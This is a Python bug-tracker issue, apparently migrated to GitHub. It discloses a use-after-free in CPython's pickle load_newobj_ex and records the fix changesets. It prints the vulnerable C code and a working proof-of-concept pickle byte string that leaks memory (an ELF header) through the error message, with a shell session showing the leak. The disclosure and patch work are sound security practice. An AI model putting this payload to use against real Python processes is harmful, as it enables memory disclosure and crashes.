New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
use after free in load_newobj_ex #68740
Comments
From Kurucsai Istvan on the security list: I. Summary There is a use-after-free in the load_newobj_ex function in _pickle.c that results in an arbitrary read. II. Source code The functions in question:
static int
load_newobj_ex(UnpicklerObject *self)
{
PyObject *cls, *args, *kwargs;
PyObject *obj;
PickleState *st = _Pickle_GetGlobalState();
PDATA_POP(self->stack, kwargs);
if (kwargs == NULL) {
return -1;
}
PDATA_POP(self->stack, args);
if (args == NULL) {
Py_DECREF(kwargs);
return -1;
}
PDATA_POP(self->stack, cls);
if (cls == NULL) {
Py_DECREF(kwargs);
Py_DECREF(args);
return -1;
}
1. if (!PyType_Check(cls)) {
Py_DECREF(kwargs);
Py_DECREF(args);
2. Py_DECREF(cls);
PyErr_Format(st->UnpicklingError,
"NEWOBJ_EX class argument must be a type, not %.200s",
3. Py_TYPE(cls)->tp_name);
return -1;
}
III. Proof of concept The following PoC demonstrates the bug by leaking the beginning of the ELF header of the python binary by using the following pickle: root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex.py
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address, beginning of the ELF header of the python binary
b += b"\x08\x04\x80\x00"
b += b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# file python
python: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e1a1b72a0e3093b61de9de9bb58b3ca031aeb9b6, not stripped
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python
Python 3.6.0a0 (default, Jun 29 2015, 22:03:19)
[GCC 4.8.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python /opt/newobj_ex.py
Traceback (most recent call last):
File "/opt/newobj_ex.py", line 4, in <module>
pickle.loads(b)
_pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not �ELF
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# By changing the read address, a segfault can be triggered: root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex_crash.py Program received signal SIGSEGV, Segmentation fault. |
New changeset 24ce32d76376 by Benjamin Peterson in branch '3.4': New changeset 24197b5f7126 by Benjamin Peterson in branch '3.5': New changeset 32486bb59e7e by Benjamin Peterson in branch 'default': |
Buildbots are not happy. Example: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.0%203.5/builds/57/steps/test/logs/stdio ====================================================================== Traceback (most recent call last):
File "/usr/home/buildbot/python/3.5.koobs-freebsd10/build/Lib/test/pickletester.py", line 1046, in test_newobj_not_class
o = object.__new__(SimpleNewObj)
TypeError: object.__new__(SimpleNewObj) is not safe, use SimpleNewObj.__new__() |
New changeset 978bc1ff43a7 by Benjamin Peterson in branch '3.4': |
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
bugs.python.org fields:
The text was updated successfully, but these errors were encountered: